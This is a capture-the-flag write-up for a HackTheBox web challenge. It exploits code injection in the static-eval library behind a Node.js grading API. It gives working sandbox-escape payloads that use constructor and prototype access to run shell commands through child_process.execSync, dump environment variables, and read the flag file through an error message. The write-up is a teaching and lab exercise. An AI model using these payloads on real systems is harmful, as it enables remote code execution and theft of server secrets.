This write-up describes the challenge "baby breaking grad", part of the easy track OWASP Top 10 of the HackTheBox platform.
The first info we are given is an IP address leading to a website. The site is named "inside starship enterprise". The website contains two radio buttons "Kenny Baker" and "Jack Purvis", we can chose only one name between the two. When we click on the submit button "Did I pass?" we always get this answer (approximately):
NOOOOooooPE
When we click on the submit button, a POST request is sent to /api/calculate
with the following body:
{
"name": "Kenny Baker"
}
The response is also a JSON:
{
"pass": "n00o000ooo0pe"
}
This challenge is akin to a white box penetration test since we have the source code of the website we are attacking. The website offers only one API endpoint, the one we used earlier, and its logic is pretty simple:
formula
that it will parse and execute to determine if the student passed the test. // If formula isn't specified, a default one is provided
let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';
// If the student name doesn't contain "Baker" or "Purvis", we compute the formula
if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula)) {
return res.send({
'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
});
}
The code uses a helper library StudentHelper.js
that contains the core logic. This file contains the method hasPassed
that parses and computes the formula. What's interesting is the use of evaluate
to parse the formula. This function is known to allow code injection and could let us execute our on code on the server:
// Use to run the string in the formula as if it were javascript code
const evaluate = require('static-eval');
// Used to parse the forumla
const parse = require('esprima').parse;
module.exports = {
isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));
},
hasPassed({ exam, paper, assignment }, formula) {
let ast = parse(formula).body[0].expression;
// Code injection right there
let weight = evaluate(ast, { exam, paper, assignment });
return parseFloat(weight) >= parseFloat(10.5);
}
};
Let's take a look at the default formula:
let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';
It expects three variables assignment
, exam
, and paper
. These should be included in the POST request.
Try it, send a JSON with {"name":"none","exam":200,"paper":200,"assignment":200}
to pass the exam!
If we wanted to pass the exam, we could change the formula so that it is equal to assignment + exam + paper
and provide values so that the sum is greater than 10.5. The following JSON will make you pass the exam:
{
"name":"none",
"exam":5,
"paper":5,
"assignment":1,
"formula":"[assignment + exam + paper]"
}
Our entrypoint will be the formula attribute to inject our own code, but what will we inject?
Our goal is to read the contents of the file flag
. Sure, we can probably read this file, but how will we extract or display the data? The logic in index.js
has made it clear that we have no control over the data returned in the response. So we have two options at our disposal to extract the data:
We'll go with option 2 in this write-up, but feel free to try option 1 if it's possible.
Don't own a server ? Use Request bin to observe the requests sent from the code injection.
To craft the formula that will write a file, we have to set up a nodejs project first. We can do that with npm init
in a new directory esprima-test
. Then we install the dependencies with the same versions found in the source code:
npm install --save esprima@
npm install --save static-eval@2.0.2
We create our own file index.js
to parse some dummy javascript code and evaluate it the same way the original application does :
const parse = require('esprima').parse
const evaluate = require('static-eval')
const program = '3*4'
const ast = parse(program).body[0].expression
let result = evaluate(ast)
console.log(result)
We now have everything set up to try and exploit the server code. The problem is, trying a simple exploit like the one below won't work.
const { exec } = require('child_process')
(exec("ls -la") ()=>{})
The reason why this code won't work is because static-eval
provides some kind of sandbox to avoid arbitrary code execution. That being said, there have been vulnerabilities found in the library before:
Unfortunately for us, the version of the library (2.0.2) used in the target has fixed these issues. But what about new vulnerabilities since then?
Let's take a look at library's Github repository.
We start by selecting a tag with a version greater than 2.0.2
and we display the commit messages, looking for security patches. Here is the list of commits for the tag v2.0.3
, from the most recent, to the least recent:
Commit | Message | Comment |
---|---|---|
1 | 2.0.3 | probably just a commit to release this version |
2 | Merge pull request #27 from browserify/prevent-constructor-access | that could be interesting... |
3 | plan fix | |
4 | disable package-lock.json | |
5 | add runtime-only test case | |
6 | Bail on null properties (eg.initialized arguments) | this might be a security fix |
7 | disallow accessing __proto__ or constructor | this is most certainly a security fix |
8 | etc... |
The most promising commit is the #7
, the commit message states:
Plugs another hole in the not-quite-sandbox. We'll never be 100% airtight but this is low hanging fruit that doesn't impact any legitimate use case.
So this commit is definitely dealing with a security vulnerability, and this is our lucky day, the developer even included some test data in test/eval.js
!!
So we just have to replicate his code and see if it works for us.
After studying the test data, the best I could come up with is this the following test code that manages to display the environment variables:
const parse = require('esprima').parse
const evaluate = require('static-eval')
// Prototype pollution of variable polluted
// when accessing the variable value we call its getter
const program = "`${({})['__proto__']['__defineGetter__']('polluted', function(){ return `${console.log(process.env)}`; })}`"
const ast = parse(program).body[0].expression
let result = evaluate(ast)
// We just need to trigger the getter function
// which displays the value of process.env
polluted
Unfortunately I didn't manage to write to a file. The following code produces a RangeError: Maximum call stack size exceeded
.
const program = "`${({})['__proto__']['__defineGetter__']('polluted', function(){ return `${console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())}` })}`"
Failure is the daily life of a pentester... So I just have to try something else.
I tried commit #2 which seemed to be related to a security fix. The commit provides a test code showing how to exploit the vulnerability to display the environment variables:
test('constructor at runtime only', function(t) {
t.plan(2)
var src = '(function myTag(y){return ""[!y?"__proto__":"constructor"][y]})("constructor")("console.log(process.env)")()'
var ast = parse(src).body[0].expression;
var res = evaluate(ast);
t.equal(res, undefined);
});
I built on this example to produce an exploit capable of executing a shell command:
const parse = require('esprima').parse
const evaluate = require('static-eval')
// Executes ls
const program = '(function myTag(y){return ""[!y?"__proto__":"constructor"][y]})("constructor")("console.log(global.process.mainModule.constructor._load(\'child_process\').execSync(\'ls\').toString())")()'
const ast = parse(program).body[0].expression
let result = evaluate(ast)
And finally I tried to exploit this vulnerability to produce a file on the server with echo test > static/test.txt
.
I used the following payload:
{
"name":"whatevs",
"formula": "(function(){ return `${eval(\"global.process.mainModule.constructor._load('child_process').execSync('echo test > static/test.txt')\")}` })()"
}
Unfortunately this attempt failed as well with a "Permission denied". Here is the full response below:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: echo test > static/test.txt
<br>/bin/sh: 1: cannot create static/test.txt: Permission denied
<br>
<br> at checkExecSyncError (child_process.js:630:11)
<br> at Object.execSync (child_process.js:666:15)
<br> at eval (eval at <anonymous> (eval at walk (/app/node_modules/static-eval/index.js:153:20)), <anonymous>:1:62)
<br> at eval (eval at walk (/app/node_modules/static-eval/index.js:153:20), <anonymous>:2:16)
<br> at walk (/app/node_modules/static-eval/index.js:96:27)
<br> at module.exports (/app/node_modules/static-eval/index.js:175:7)
<br> at Object.hasPassed (/app/helpers/StudentHelper.js:11:22)
<br> at /app/routes/index.js:22:62
<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
<br> at next (/app/node_modules/express/lib/router/route.js:137:13)</pre>
</body>
</html>
At this point I could try to exfiltrate the data to a server I own. That said, the second failure made me realize that I actually have a way to display data through the errors!
Here is an example showing how to display the environment variables in an error message:
const parse = require('esprima').parse
const evaluate = require('static-eval')
// Throws a new error displaying process.env
const program = "(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(JSON.stringify(process.env))')()"
const ast = parse(program).body[0].expression
let result = evaluate(ast)
The final payload is (the file might not be named flag
):
{
"name":"whatevs",
"formula": "(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mainModule.constructor._load(\"child_process\").execSync(\"cat flag\"))')()"
}